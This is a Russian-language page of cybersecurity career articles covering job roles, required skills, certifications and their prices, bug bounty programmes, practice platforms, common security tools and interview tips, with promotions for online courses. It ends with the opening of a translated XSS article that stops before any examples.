Такого рода специалисты востребованы в финтех-компаниях и в банковской сфере. Антифрод-аналитик занимается защитой онлайн-транзакций физических лиц. Он устанавливает ограничения объема трат и покупок с банковских карт, отслеживает денежные операции с банковскими картами, проводит анализ покупок с целью выявления подозрительных онлайн-операций и решает другие задачи из этой области.

Специалист по реверс-инжинирингу или аналитик кода

Занимается анализом программного кода, чтобы найти уязвимые для кибератак места в программе. Аналитик кода должен иметь базовые знания по программированию на Python,C++, ASM и др., а также знать о существующих видах уязвимостей (SANS Top-25, OWASP Top-10). Специалист по реверс-инжинирингу должен выявить угрозы и дать рекомендации по их устранению.

Разработчик системы защиты информации (СЗИ)

Эти специалисты должны совмещать навыки программирования со знанием средств защиты данных. Разработчикам СЗИ нужно знать системы DLP, облачные хранилища MS Azure и AWS, языки программирования, CI/CD, фреймворки, антивирусные решения и многое другое. Основная их задача – создать корпоративную систему защиты информации.

Специалист по форензике или расследованию кибер-преступлений

Экспертов этого направления чаще нанимают для разового расследования проблемы. Обычно их услуги требуются уже после успешного взлома или иного инцидента информационной безопасности. Расследователь кибер-преступлений находит следы проникновения в систему и восстанавливает ход событий, которые повлекли нарушение. Форензик собирает улики и разоблачает хакеров, обладает навыками программирования на популярных языках, а также понимает, в каких местах, киберпреступники обходят защиту систем.

Пентестер

Тесты на проникновение проводятся в приближенных к «боевым» условиях. Задача пентестера – взломать систему и украсть из нее данные, т.е. выявить уязвимости, устранение которых улучшит безопасность. Пентестеры востребованы в IT-компаниях, финансовых организациях и больших корпорациях вне зависимости от сферы деятельности. Им нужно знать, как работают операционные системы (Linux, Windows) и сети, и какие участки корпоративной ИТ-инфраструктуры наиболее уязвимы.

Специалист по безопасности приложений

Занимается анализом уязвимости веб-приложений и исходного кода на языках JavaScript, PHP, Ruby, ASP.Net, ASP, Java и пр. Специалисту по безопасности приложений понадобятся навыки работы с реляционными СУБД, знание сетевых протоколов и программ, серверов Apache, Nginx, IIS, а также другие умения в зависимости от сложности проекта.

DevSecOps

Специалист по Development Security as Code Operations (DevSecOps) обеспечивает безопасность на всех этапах разработки приложения, занимается контролем и обеспечением защиты параллельно с программированием. Процесс работы модели DevSecOps автоматизирован, что снижает риски неправильного администрирования и простоя.

Специалист по корпоративной ИТ-безопасности

Занимается сохранением данных, предотвращает кибератаки и утечку информации, укрепляет безопасности информационных систем. Корпоративный эксперт должен разбираться в правовой базе ИБ, а также обладать практическими навыками в работе с технологиями.

Кроме перечисленных выше профессий существуют также аналитики SOC, специалисты по тестированию безопасности и по архитектуре безопасности, вирусные аналитики, компьютерные криминалисты и даже этичные (белые) хакеры на вольных хлебах.

Требования к специалистам по кибербезопасности


Перечислим минимальный набор знаний, умений и навыков, необходимых специалистам по кибербезопасности:

  • Чтение кода, умение отличать легитимный исходный код и вторжения извне.
  • Навыки программирования.
  • Знание устройства популярных аппаратных решений, в т.ч. ПК и серверов.
  • Основы веб-верстки.
  • Аналитические навыки и прогнозирование.
  • Понимать принципов осуществления кибератак и защиты от них.
  • Способность быстро оценить угрозы безопасности и выявить ее источник.
  • Навыки работы с популярными СУБД (виды, базовые запросы).
  • Умение работать с большими потоками данными.

В зависимости от уровня профессионализма, набор требований к специалистам дополняется и конкретизируется.

Junior

  • работа с командной строкой;
  • настройка баз данных: Auditd, MySQL, Rsyslog, Apache2, nginx, PostgreSQL;
  • базовые знания операционной системы Linux и сетевых технологий;
  • опыт настройки антивирусных программ и ОС Windows;
  • навыки администрирования Active Directory, настройка групповой политики (GPO) и управление правами пользователей;
  • знание IP-адресации и статической маршрутизации, TCP/IP, ISO/OSI.

Middle

  • навыки администрирования Windows, Linux;
  • анализ защищенности;
  • опыт работы с системами противодействия вторжению и корпоративными антивирусными решениями;
  • опыт автоматизированного тестировании на Bash, Perl, Python;
  • теоретические знания строения и функционирования протоколов TCP/IP, ISO/OSI, компьютерной, сетевой и безопасности веб-приложений.

Senior

  • опыт расследования кибер-преступлений (выявление проникновений, сбор улик);
  • навыки работы с SS7, ERP, Hardware, SCADA;
  • знание и практический опыт работы с профильным программным обеспечением: Maxpatrol, IBM Qradar, Splunk, Symantec Critical System Protection, Enterprise, Gigamon Networks Tuffin, Cisco ASA, Imperva DAM;
  • осведомленность в законодательной базе по информационной безопасности;
  • понимание основных методик, классификаций и мировых практик, таких как OWASP, OSSTMM, NIST SP800-115, WASC;
  • навыки программирования хотя бы на одном скриптовом языке;
  • умение обнаруживать киберугрозы;
  • знание стандартов PCI DSS, СТО БР ИББС, ISO 27xxx.

Lead

  • должен иметь собственные достижения в области кибербезопасности (публикации в профильных изданиях, разработанные методики, выступления на отраслевых конференциях и т.д.).
***
По данным hh.ru и jobeka.com, заработная плата специалиста по кибербезопасности стартует от 500 тыс. рублей в год. Освоить все необходимые знания по книгам и интернет-ресурсам будет довольно сложно. Если вы только начинаете путь в профессии и хотите сразу получить теоретические знания, практику и обратную связь от наставников, стоит обратить внимание на курс образовательной онлайн-платформы GeekBrains.

Программа направлена на изучение:

  • безопасности веб-приложений;
  • анализа трафика и работу с криптографическими библиотеками;
  • командной строки Linux;
  • азов программирования на Python для автоматизации задач;
  • строения сетевой безопасности;
  • основных компонентов JavaScript, URL, HTML, Same Origin Policy, HTTP;
  • тестирования веб-приложений, с целью выявления и устранения уязвимостей;
  • устройства и уязвимостей бинарных приложений.

На курсах готовят специалистов по ИБ, пентестеров, специалистов по анализу защищенности, а также Application Security Engineer. Успешно завершившим обучение выпускникам выдают диплом о профессиональной переподготовке и оказывают помощь в трудоустройстве.

07
Июл
2021

🕵 Какие сертификаты нужны специалисту по кибербезопасности?

Спрос на специалистов в сфере кибербезопасности постоянно растет – чем лучше вы продемонстрируете свои навыки в профессии, тем больше денег потенциально сможете заработать. Самое время подумать о сертификации.

Профессиональные ассоциации заботятся о защите предприятий и частных лиц от различных типов атак. Они понимают, как оценивать сети и цифровые экосистемы, чтобы определить, когда система была взломана, а также могут предоставить экспертные знания и рекомендации по повышению безопасности.

Сертификаты в среде ИТ-безопасности в наши дни стали гораздо более гибкими и привлекательными. Слушатели могут завершить образование в удобном темпе, изучая определенные информационные модули в Интернете. Существует множество отличных вариантов обучения: даже если вы должны работать полный день, получение образования и сдача экзамена не станут проблемой.

Ежегодно бизнес в США тратит миллиарды долларов на защиту данных и активов от вредоносных программ, при этом по оценке Forbes к 2021 году во всем мире потрачено около 180 миллиардов долларов.

В связи с ростом спроса на квалифицированных специалистов по безопасности, сертификация является логическим способом подтвердить ваш опыт и компетенции, а также привлечь внимание к вашему резюме. Мы рассмотрим 6 сертификатов по кибербезопасности, которые помогут вам найти работу.

CompTIA Security+


Первый сертификат, который должен получить начинающий специалист – CompTIA Security+. Он подтверждает необходимые для любой роли в области кибербезопасности фундаментальные навыки и служит ступенькой к позициям среднего уровня. Security+ включает передовой опыт практического устранения неполадок и навыки решения проблем безопасности:

  • Оценку состояния безопасности корпоративной среды, а также выбор и внедрение соответствующие решений.
  • Навыки мониторинга и обеспечения безопасности гибридных сред, включая облачные, мобильные и IoT.
  • Умение действовать, зная о применимых законах и политиках, в том числе о принципах корпоративного управления, рисках и нормативных требованиях.
  • Выявление и анализ событий и инцидентов, связанных с безопасностью, а также реагирование на них.

Кому может потребоваться сертификат?

  • Администраторам безопасности.
  • Системным администраторам.
  • Менеджерам службы поддержки (аналитикам).
  • Сетевым/облачным инженерам.
  • Инженерам по безопасности (аналитикам).
  • Инженерам DevOps и разработчикам программного обеспечения.
  • ИТ-аудиторам.
  • Менеджерам ИТ-проектов.

Какие навыки необходимы для получения сертификата?

  • Атаки, угрозы и уязвимости. Внимание стоит сосредоточить на пользовательских устройствах, устройствах Интернета вещей и других встраиваемых решениях, а также на атаках DDoS и методах социальной инженерии.
  • Архитектура и дизайн. Изучите корпоративные среды и облачные решения, которые все чаще используются по мере перехода организаций к гибридной инфраструктуре.
  • Выполнение. Сосредоточьтесь на администрировании учетных записей, управлении доступом, PKI, базовой криптографии, беспроводной сети и сквозной безопасности.
  • Операции и реагирование на инциденты. Придется изучить процедуры оценки безопасности организации и реагирования на инциденты, такие как базовое обнаружение угроз, методы снижения рисков и базовую цифровую криминалистику.
  • Управление, риски и соответствие. Изучите управление организационными рисками и соблюдением нормативных требований, вроде PCI-DSS, SOX, HIPAA, GDPR, FISMA, NIST и CCPA.

Рекомендуемый опыт: CompTIA Network+ и два года опыта в ИТ-администрировании с фокусом на безопасности.

Цена сертификата: от $370.

Другие сертификаты и как их получить

Хотя многие эксперты по кибербезопасности имеют диплом о высшем образовании в области компьютерных наук, работодатели часто предпочитают кандидатов с подтвержденными знаниями и опытом. Выбирать можно из множества различных сертификатов: от общих до выдаваемых производителями сетевого оборудования и разработчиками решений в сфере информационной безопасности. Доступны любые уровни (от начальных до продвинутых), но если вы решили потратить время и деньги на сертификацию, убедитесь, что она обеспечит вам преимущества на рынке труда.

Сертифицированный этичный хакер (СEH)


Этичный хакинг, также известный как взлом в белой шляпе – это практика законного взлома организаций с целью обнаружения уязвимостей до того, как это сделают злоумышленники.

Сертификат CEH (Certified Ethical Hacker) можно получить в EC-Council. Для этого потребуется продемонстрировать знания о тестировании на проникновение, сканировании уязвимостей, а также о векторах угроз и способах защиты от них. Сертификация CEH учит думать как хакер и проявлять большую активность в вопросах кибербезопасности.

Она подходит для следующих должностей:

  • Тестер на проникновение (пентестер).
  • Аналитик по киберинцидентам.
  • Аналитик по анализу угроз.
  • Архитектор облачной безопасности.
  • Инженер по кибербезопасности.

Требования: вы можете сдать экзамен CEH, если имеете двухлетний опыт работы в области информационной безопасности, или если вы прошли официальное повышение квалификации EC-Council.

Цена: $950 до $1199.

Сертифицированный менеджер по информационной безопасности (СISM)

Подтвердить навыки руководства в сфере кибербезопасности можно с помощью сертификации ISACA CISM (Certified Information Security Manager), которая охватывает такие разделы, как формирование политики, разработку программ, а также оценку инцидентов и рисков.

Получение сертификата CISM может быть хорошим выбором, если вы хотите перейти от технической к управленческой стороне профессии.

Он подходит для следующих должностей:

  • ИТ-менеджер.
  • Специалист по безопасности информационных систем.
  • Консультант по информационным рискам.
  • Директор по информационной безопасности.
  • Менеджер по управлению данными.

Требования: чтобы сдать экзамен CISM, вы должны иметь более 5 лет подтвержденного стажа в области управления информационной безопасностью. Один или два недостающих года вам могут «простить» при наличии действующего сертификата или ученой степени в связанной с информационной безопасностью областью.

Цена: подписчики платят $575, а гости – $760.

Сертифицированный специалист по безопасности информационных систем (CISSP)


Выданный организацией по кибербезопасности (ISC)2 сертификат CISSP (Certified Information System Security Professional) является одним из самых востребованных в отрасли. Получение CISSP показывает, что у вас есть большой опыт в ИТ-безопасности.

Эта расширенная сертификация предназначена для профессионалов в области безопасности, которые хотят продвинуться по карьерной лестнице.

Она подходит для следующих должностей:

  • Директор по информационной безопасности.
  • Администратор безопасности.
  • Инженер по ИТ-безопасности.
  • Старший консультант по безопасности.
  • Аналитик по обеспечению информационной безопасности.

Требования: чтобы иметь право на сдачу экзамена CISSP, потребуется пять или более лет совокупного опыта работы как минимум в двух из восьми областей кибербезопасности. Например, в управлении безопасностью и рисками, управлении безопасностью активов, проектировании систем безопасности, управлении идентификацией и доступом.

После получения сертификата CISSP вы сможете добавить в свое резюме еще три специализированных навыка: архитектуру безопасности информационных систем (ISSAP), разработку систем информационной безопасности информационных (ISSEP) и управление безопасностью информационных систем (ISSMP).

Сертифицированный аудитор информационных систем (СISA)


CISA (Certified Information Systems Auditor) – еще один сертификат (ISC)2. Он демонстрирует опыт специалиста в оценке уязвимостей безопасности, разработке и внедрении средств контроля и отчетности о соответствии. Это один из самых известных сертификатов в сфере аудита кибербезопасности.

CISA предназначен для ИТ-специалистов среднего уровня, которые претендуют на следующие должности:

  • Менеджер по ИТ-аудиту.
  • Аудитор по кибербезопасности.
  • Аналитик по информационной безопасности.
  • Инженер по ИТ-безопасности.
  • Менеджер ИТ-проекта.
  • Менеджер программы комплаенс.

Требования: не менее пяти лет опыта работы в области аудита или обеспечения информационной безопасности. Двухлетняя или четырехлетняя степень может быть заменена соответственно одним или двумя годами опыта.

Цена: от $575 до $760.

Сертифицированный Cisco Network Associate Security (ССNA Security)


Получение сертификата CCNA Security подтверждает ваши знания о решениях в области безопасности. Кандидаты могут сдать один основной экзамен, а другой – по своему выбору.

Программа сертификации CCNA Security предназначена для начинающих специалистов, которые хотят продвинуться по карьерной лестнице.

Она подходит для следующих должностей:

  1. Инженер по безопасности приложений.
  2. Сетевой аналитик.
  3. Менеджер по работе с сетью.
  4. Специалист по обеспечению безопасности информации.
  5. Аналитик угроз.

Требования: хотя формальных условий для сдачи этого экзамена среднего уровня нет, рекомендуется иметь год опыта работы в области кибербезопасности с решениями Cisco.

Цена: $400 за основной тест и $300 за экзамен на концентрацию.

***

Получение сертификата стоит минимум несколько сотен долларов. Правильная сертификация серьезно повышает шансы кандидата на трудоустройство и уровень его заработной платы, однако инвестировать нужно с умом. Нет смысла тратить деньги, если вы не готовы к экзамену. Необходимые знания можно получить самостоятельно, но проще пройти онлайн-курсы.

Если вы только начинаете путь в профессии, обратите внимание на «Факультет информационной безопасности» образовательной онлайн-платформы GeekBrains. Под руководством опытных экспертов из ведущих технологических компаний вы получите там много практики по разным направлениям: тестам на проникновение, Python, реверс-инженирингу, безопасности сетей и криптографии. Успешно завершившим курс студентам выдается диплом о профессиональной подготовке, а специалисты платформы помогают им с поиском работы.

29
Май
2021

🕵 Обучение кибербезопасности: как этичному хакеру заработать на вольных хлебах?

Элитные хакеры-фрилансеры могут зарабатывать более миллиона долларов в год, но новичку гарантированные гонорары никто не предложит. Как быть, если вы уже готовы попробовать себя в этичном взломе, но о высшей лиге пока можете только мечтать?

К сообществу хакеров регулярно присоединяются новые участники, и один из первых вопросов, который у них возникает: «С чего мне начать и как можно заработать деньги на этичном взломе

Для успешной работы вы должны быть знакомы с разнообразными методами и технологиями взлома, терминологией и множеством других вещей.

Все необходимые ресурсы можно найти в интернете, но начинать с нуля карьеру самостоятельного охотника за ошибками в Bug Bounty довольно сложно. Чтобы зарабатывать, сначала придется освоить профессию и сделать себе хоть какое-то имя в сообществе.

Если вы хотите учиться у специалиста с более чем десятилетним опытом, обратите внимание на курс Факультета кибербезопасности образовательной онлайн-платформы GeekBrains.


В любом случае – выбор способа остается за вами. Если вы предпочитаете самостоятельное обучение по книгам и лекциям в сети, почувствовать себя специалистом сможете примерно через год упорных занятий по 50+ часов в неделю. Поскольку теория без практики мертва, стоит попрактиковаться в хакерстве (или даже принять участие в соревнованиях по взлому) в специальных лабораториях.

Перечислим некоторые из них:

  1. Hack.me
  2. PortSwigger
  3. HackTheBox
  4. HackThisSite
  5. Hax.tor.hu
  6. TryHackMe
  7. pwnable.tw
  8. reversing.kr
  9. ctflearn.com
  10. csaw.io
  11. picoctf.com
  12. w3challs.com
  13. hackthebox.eu
  14. ctf.hackucf.org
  15. cryptopals.com
  16. tryhackme.com
  17. exploit.education
  18. freehackquest.com
  19. www.root-me.org
  20. www.vulnhub.com
  21. ctf.hacker101.com
  22. ctf.komodosec.com
  23. attackdefense.com
  24. Cmdchallenge.com
  25. immersivelabs.com
  26. www.hackthissite.org
  27. ctf.infosecinstitute.com
  28. www.hacking-lab.com
  29. captf.com/practice-ctf
  30. www.hacksplaining.com
  31. junior.stillhackinganyway.nl
  32. academy.hackaflag.com.br

Поскольку к новоиспеченному специалисту по кибербезопасности (этичному или белому хакеру) очередь из заказчиков не выстраивается, практикуясь во взломе и участвуя в соревнованиях, вы также нарабатываете себе портфолио. Времени на это придется потратить немало, но «волонтерство» окупится.

Как можно заработать новичку?

Опытные независимые исследователи безопасности часто имеют солидную клиентуру – такие хакеры-фрилансеры могут зарабатывать миллионы долларов в год. Если вы получили солидный опыт бесплатной работы за портфолио и о высшей лиге пока только мечтаете, начните с участия в программах Bug Bounty. Искать ошибки в информационных системах и получать от компаний вознаграждение – не самый плохой старт для новичка.

Кто они – охотники за багами?
Разбирающиеся в тонкостях кибербезопасности специалисты часто занимаются поиском уязвимостей в информационных системах и различных приложениях – они известны как охотники за ошибками (багами). Существует множество платформ Bug Bounty, где охотники получают вознаграждение за свой труд, даже не являясь штатными сотрудниками компаний или высокооплачиваемыми фрилансерами. Программы Bug Bounty позволяют хакерам обнаруживать и исправлять ошибки до того, как о них узнает широкая публика – таким способом предотвращают инциденты информационной безопасности.

Эти ошибки обычно представляют собой уязвимости системы безопасности, но они также могут включать проблемы с процессами, недостатки оборудования и другие проблемы.

Программы бывают частными (только по приглашениям), когда отчеты остаются конфиденциальными, или общедоступными (к которым может присоединиться любой желающий). Иногда они проходят в течение определенного времени, но чаще не имеют даты окончания. Главный их недостаток – вознаграждение получает только тот хакер, который обнаружит баг первым. Остальные остаются без денег.

Где можно заработать?

О публичных платформах для размещения заказов на поиск уязвимостей мы уже писали. Дополним список несколькими ссылками на корпоративные программы с высоким вознаграждением:

  1. Министерство обороны США
  2. Mail.Ru
  3. IBM
  4. SpaceX
  5. Apple
  6. Facebook
  7. Google
  8. Microsoft
  9. Twitter
  10. DropBox
Крупные компании платят хорошие деньги, но получить их весьма непросто. Начать стоит с более простых задач и относительно небольших гонораров.

Качество отчета


Важно не только найти проблему, но и составить качественный отчет. Не все отчеты об уязвимостях выглядят одинаково, но все они имеют следующие характеристики:

  1. Подробное объяснение найденной проблемы, включая четкие шаги воспроизведения или действующее подтверждение концепции (POC).
  2. Снимки экрана и/или видео иногда могут помочь службам безопасности воспроизвести проблему. Большинство хакеров предпочитает текстовые описания, но снимки экрана и видео можно использовать как дополнительные материалы.
  3. Воздействие (уровень важности) уязвимости: что может произойти, если эту ошибку используют злоумышленники? Описание важности проблемы поможет специалистам компании расставить приоритеты по реагированию и исправлению.

Пример: Shopify: удаленное выполнение кода на kitcrm с использованием массового обновления клиентов приоритетных продуктов

Бонус

Если вам скучно и вы хотите поиграть в симуляторы хакеров, есть несколько проектов, которые помогут вам присоединиться к миру кибербезопасности, попробовав себя не только в нападении, но и в защите:

  1. Slavehack.com
  2. Hacker-project.com
  3. Hackers-edge.com
  4. S0urce.io
  5. Hackerexperience.com
  6. 2hack.net
  7. Gameofhacks.com
  8. Hackertest.net
  9. Hackerforever.net
  10. hackertyper.net
***

Едва ли вас заинтересует участие в программах Bug Bounty как форма постоянной занятости на многие годы – в режиме фултайм ошибки без гарантии оплаты ищет только пятая часть вольных хакеров. Прочие повышают уровень и уходят на фриланс, выбрав одну из многих доступных в сфере информационной безопасности специализаций и набрав заказчиков. Если вы хотите узнать о способах заработать на вольных хлебах подробнее, обратите внимание на Факультет информационной безопасности онлайн-академии GeekBrains. Помимо прочего слушателей курса научат работать в программах Bug Bounty, а в число преподавателей входят опытные охотники за уязвимостями.

26
Май
2021

🕵 GPG и все-все-все: настраиваем шифрование переписки за 10 минут по методу Кристофера Робина

Как обмениваться критически важными коммерческими сведениями с контрагентами, если вы слабо разбираетесь в вопросах информационной безопасности? Прочтите наш мануал и настройте шифрование GPG на смартфоне и компьютере за 10 минут.

16
Апр
2021

🕵 Обучение кибербезопасности: как составить резюме, пройти собеседование и найти работу?

Освоить профессию специалиста по кибербезопасности с нуля и устроиться на работу мечты непросто. Рассказываем, что для этого потребуется.

С каждым днем все больше компаний переходят в онлайн из-за повсеместной диджитализации и пандемии COVID-19. Увеличивается и число кибератак, которые обычно направлены на изменение или уничтожение конфиденциальной информации, вымогательство денег у пользователей или прерывание бизнес-процессов.

Все более важную роль играет защита данных от кражи и манипуляций. Рынку требуются профессионалы, которые смогут противостоять цифровым угрозам, поэтому спрос на специалистов по кибербезопасности достаточно велик.

Совместно с образовательной платформой Skillbox мы составили список советов, которые помогут начинающему специалисту в освоении востребованной профессии.

Знания и навыки, которые нужны специалисту по кибербезопасности для начала карьеры

Кибербезопасность – раздел информационной безопасности и деятельность, направленная на защиту систем, сетей и программного обеспечения от цифровых атак.

Специалист по кибербезопасности занимается поиском и предотвращением угроз, обеспечивает безотказную работу средств программной защиты информации предприятия (паролей, переписки, документов и так далее). Эта специальность также включает создание, тестирование, внедрение и анализ эффективности различных систем безопасности.

Специалист по кибербезопасности должен разбираться в устройстве компьютеров и компьютерных сетей, а также знать методы работы злоумышленников, чтобы предотвратить их атаки. Ему важно понимать, как можно взломать сайт, похитить конфиденциальную информацию, отредактировать или уничтожить базу данных, получить доступ к системе и причинить ей ущерб.

В этой сфере существуют разные профессии:

  • специалист по безопасности приложений;
  • DevSecOps;
  • антифрод аналитик;
  • специалист по корпоративной ИТ-безопасности;
  • аналитик SOC;
  • специалист по реверс-инжинирингу или аналитик кода;
  • разработчик системы защиты информации (СЗИ);
  • специалист по тестированию безопасности;
  • специалист по форензике или расследованию кибер-преступлений;
  • специалист по архитектуре безопасности;
  • пентестер.

Все это разные специализации, но со сходными целями и задачами. Главное для экспертов в этой области – обеспечить максимальную безопасность продукта, вовремя обнаружить угрозы и уязвимости, проанализировать и ликвидировать их, а также уменьшить вероятность их повторного возникновения.


Технические знания и навыки, необходимые специалисту по кибербезопасности:

  • знание языков программирования (например Python, Java);
  • знание общих концепций разработки программного обеспечения и навыки его анализа;
  • чтение кода для выявления скрытых источников внешнего вторжения;
  • понимание и использование сетевого ПО и программного обеспечения для виртуализации;
  • использование брандмауэров и балансировщиков сетевой нагрузки;
  • знание баз данных (SQL);
  • умение работать с системами обнаружения (IDS) и предотвращения (IPS) вторжений, а также настраивать их интеграцию с межсетевым экраном;
  • использование расширенного программного обеспечения для предотвращения, обнаружения и идентификации расширенных постоянных угроз (APT);
  • умение обрабатывать, анализировать и безопасно хранить все типы данных.

Гибкие навыки, которые пригодятся специалисту по кибербезопасности:

  • внимательность к деталям;
  • аналитические навыки;
  • активные межличностные и коммуникативные навыки;
  • навык критического мышления;
  • способность быстро адаптироваться к изменениям.

Чтобы начать карьеру в сфере кибербезопасности достаточно:

  • овладеть базовыми знаниями и навыками работы с операционной системой Linux;
  • освоить работу с компьютерными сетями на базовом уровне;
  • уметь работать с командной строкой;
  • иметь опыт по настройке систем защиты на основе антивирусов и Windows;
  • знать IP-адресацию и статистическую маршрутизацию;
  • знать сетевые модели передачи данных TCP/IP, ISO/OSI;
  • иметь опыт администрирования Active Directory: настройки групповых политик (GPO) и управления правами пользователя;
  • иметь опыт управления базами данных (MySQL, PostgreSQL,);
  • иметь опыт работы c веб-серверами (nginx, Apache);
  • знать принципы и методы осуществления кибератак;
  • понимать устройство компьютерной техники от А до Я.

Инструменты для новичков в области кибербезопасности


Инструменты, с которых можно начать изучение кибербезопасности на практике.

Инструменты мониторинга сетевой безопасности:

  1. Splunk (используется как для поиска данных об угрозах, так и для проведения сетевого анализа в режиме реального времени);
  2. OSSEC (инструмент кибербезопасности с открытым исходным кодом для обнаружения вторжений в сеть);
  3. Nagios (с его помощью можно контролировать сети, подключенные хосты и системы в режиме реального времени).

Инструменты шифрования:

  1. TrueCrypt (с помощью этого инструмента можно зашифровать все устройство хранения, раздел носителя или создать виртуальные зашифрованные диски в файле);
  2. KeePass (инструмент для управления идентификацией).

Инструменты сканирования веб-уязвимостей:

  1. Nmap (используется для сканирования сетей и IТ-систем с целью выявления существующих уязвимостей безопасности);
  2. Nikto (бесплатный сканер уязвимостей командной строки, который сканирует веб-серверы на наличие опасных файлов/CGI, устаревшего серверного программного обеспечения и других проблем);
  3. Nessus (инструмент для анализа уязвимостей и создания отчетов);
  4. Burp Suite (инструмент для сканирования систем в режиме реального времени с целью выявления критических уязвимостей).

Инструменты защиты сети:

  1. Aircrack-ng (набор программ, предназначенных для обнаружения беспроводных сетей, перехвата передаваемого через беспроводные сети трафика, аудита WEP и WPA/WPA2PSK ключей шифрования).

Инструменты для аудита паролей и анализаторы трафика (снифферы):

  1. John the Ripper (инструмент для быстрого определения слабых паролей, которые могут представлять угрозу безопасности защищенной системы);
  2. Wireshark (инструмент для анализа сетевых протоколов и сетевой безопасности в режиме реального времени).

Инструменты для обнаружения сетевых вторжений:

Snort (программное обеспечение с открытым исходным кодом для обнаружения и предотвращения вторжений в сеть).

Сертификаты, а также книги и каналы на YouTube, которые пригодятся начинающему специалисту

Список необходимых специалисту по кибербезопасности знаний и навыков достаточно широк. Бояться этого не следует, ведь есть масса вариантов для изучения теории и применения ее на практике.

Один из самых действенных способов – пройти курс образовательной платформы Skillbox с возможностью создать портфолио, которое и станет вашим первым опытом работы, и которое вы добавите в резюме. За два года обучения слушатели освоят архитектуру современных сайтов, узнают о проблемах безопасности и научится их решать.

<a href="https://proglib.io/w/67995197" target="_blank" rel="noopener noreferrer nofollow"><b>Профессия «Специалист по кибербезопасности»‎ от Skillbox</b></a>
Профессия «Специалист по кибербезопасности»‎ от Skillbox
Начать обучение на курсе и достичь результатов можно даже с нулевым опытом в программировании.
В программу включены не только лекции, но и практические занятия. Вы подготовите пять проектов и дипломную работу, а также научитесь программировать на Python и Bash, разбираться в системном и сетевом администрировании, находить и эксплуатировать уязвимости ОС и приложений, работать с большим арсеналом хакерского ПО.

Сертификаты, методологии и документы

Сертификат международной ассоциации будет выгодно отличать вас от других кандидатов и покажет серьезные профессиональные намерения.

Обратите внимание на следующие программы сертификации: CompTIA Security+, CompTIA Network +, CCNA, CISSP, CBROPS.

Наличие выданного уважаемой организацией документа поднимает статус специалиста, но если у вас нет возможности его получить, пройдите обучение по материалам подготовки, которые несложно найти в сети. Это заменит часть программы курсов, если вы решили получить знания самостоятельно.

Методологии и документы с требованиями и руководствами для специалистов по информационной/кибербезопасности:

Книги

Пентест компании:

Пентест веб-сайта:

Пентест приложений:

YouTube-каналы

Полезные каналы на YouTube, которые пригодятся начинающим специалистам по кибербезопасности:

  1. Black Hat;
  2. LiveOverflow;
  3. The PC Security Channel;
  4. Hak5;
  5. Pentester Academy TV;
  6. UnderMind;
  7. Russian OSINT;
  8. My CS;
  9. The Cyber Mentor;
  10. Cyberspatial.

Как составить резюме и пройти собеседование на позицию специалиста по кибербезопасности


Правильно составленное резюме значительно увеличит шансы соискателя на успех при прохождении собеседования и трудоустройстве. Вот некоторые базовые принципы, которых стоит придерживаться при написании резюме:

  1. Простая и легкая структура. Формат резюме не менее важен, чем его содержание. Разбейте документ на блоки (личная информация, профессиональный опыт, обязанности, образование, сертификаты и курсы, навыки) и выделите заголовки, шрифт должен быть простым и легко читаемым. Старайтесь не растягивать резюме больше, чем на две страницы. Оптимальный размер: 1 – 1,5 страницы для начинающего специалиста;
  2. Если у вас еще нет профессионального опыта или специального образования, укажите информацию о прохождении курсов. Современные онлайн-курсы почти полностью заменяют университетское образование и даже опыт работы. Главное их преимущество – возможность попрактиковаться и сразу выполнить несколько проектов, а также сдать экзамен или подготовить дипломную работу. Все эти материалы вы можете добавить в резюме;
  3. Самообучение – тоже опыт. В качестве профессионального опыта вы также можете указать созданный вами pet-проект или условный стартап, а также участие в программах Bug Bounty, конкурсах, хакатонах и прочем;
  4. Опишите гибкие навыки. Ваши soft skills не менее важны, чем технические навыки. В современных корпорациях ценится способность специалиста работать в команде, эффективно решать проблемы и ориентироваться на результат. Определите свои сильные стороны и укажите их в резюме;
  5. Проверьте резюме на грамотность. В процессе подготовки вы можете не заметить недочетов, поэтому лучше сделать вычитку, чтобы не пропустить грамматические и пунктуационные ошибки.

Если резюме произведет позитивное впечатление на работодателя – ждите приглашения на собеседование. Вопросы, которые вам могут задать можно разделить на две части.

теоретический блок (примеры вопросов):

  1. В чем разница между симметричным и асимметричным шифрованием?
  2. Что такое traceroute?
  3. Объясните шифрование SSL.
  4. Какие шаги вы предпримете для защиты сервера?
  5. Как можно предотвратить кражу личных данных?
  6. Как бы вы сбросили конфигурацию BIOS, защищенную паролем?
  7. Что такое XSS-атака и как ее предотвратить?
  8. В чем разница между VPN и VLAN?

вопросы на основе сценария: интервьюер перечислит несколько предполагаемых ситуаций, которые могут возникнуть в процессе работы или повседневной жизни. Вы должны наиболее точно описать свои действия и технические решения, в том или ином сценарии.

Подготовьтесь к небольшому экзамену и возможному тестовому заданию. Прочтите информацию о предполагаемом работодателе и подготовьте встречные вопросы.

Где получить первый опыт в профессии


Не имея подтвержденного стажа работы трудоустроиться сложно, а чтобы получить опыт, нужно найти работу. Разорвать порочный круг можно несколькими способами:

  1. Найти компанию, которой нужны стажеры в области кибербезопасности. Скорее всего стажировка будет бесплатной, но это отличная возможность набраться опыта и на практике столкнуться с реальными задачами;
  2. Пройти курс обучения, либо получить базовые знания самостоятельно;
  3. Решать практические задачи на платформах для тренировки навыков: root-me.org, cryptohack.org, attackdefense.com, Hack The Box, CTFTime;
  4. Участвовать в хакатонах;
  5. Участвовать в программах Bug Bounty: HackerOne, SynAck, YesWeHack, BugCrowd.
***

Чтобы самостоятельно освоить профессию специалиста по кибербезопасности, нужно проявить упорство, а также потратить немало времени на обучение и закрепление полученных знаний на практике. Более простой способ – пройти курс Skillbox.

Под руководством опытных преподавателей слушатели получат структурированную информацию по составленной профессионалами программе. После завершения курса в вашем портфолио появится пять реализованных проектов и дипломная работа. Консультанты образовательной платформы помогут и с трудоустройством. Удачи вам в обучении и поиске работы мечты!

13
Мар
2021

🕵 Примеры атак XSS и способов их ослабления

Понимание межсайтового скриптинга и способов борьбы с ним необходимо каждому веб-разработчику. Это один из самых распространенных видов уязвимостей – злоумышленники часто проводят атаки XSS для кражи данных и нарушения работоспособности сервисов.

Перевод публикуется с сокращениями, автор оригинальной статьи Russel Jones.

Межсайтовый
скриптинг (
XSS)
– это атака, которая позволяет
JavaScript через
один сайт работать с другим.
XSS интересен не из-за технической
сложности, а скорее потому, что он эксплуатирует некоторые из основных
механизмов безопасности браузеров и из-за огромной распространенности.

Background

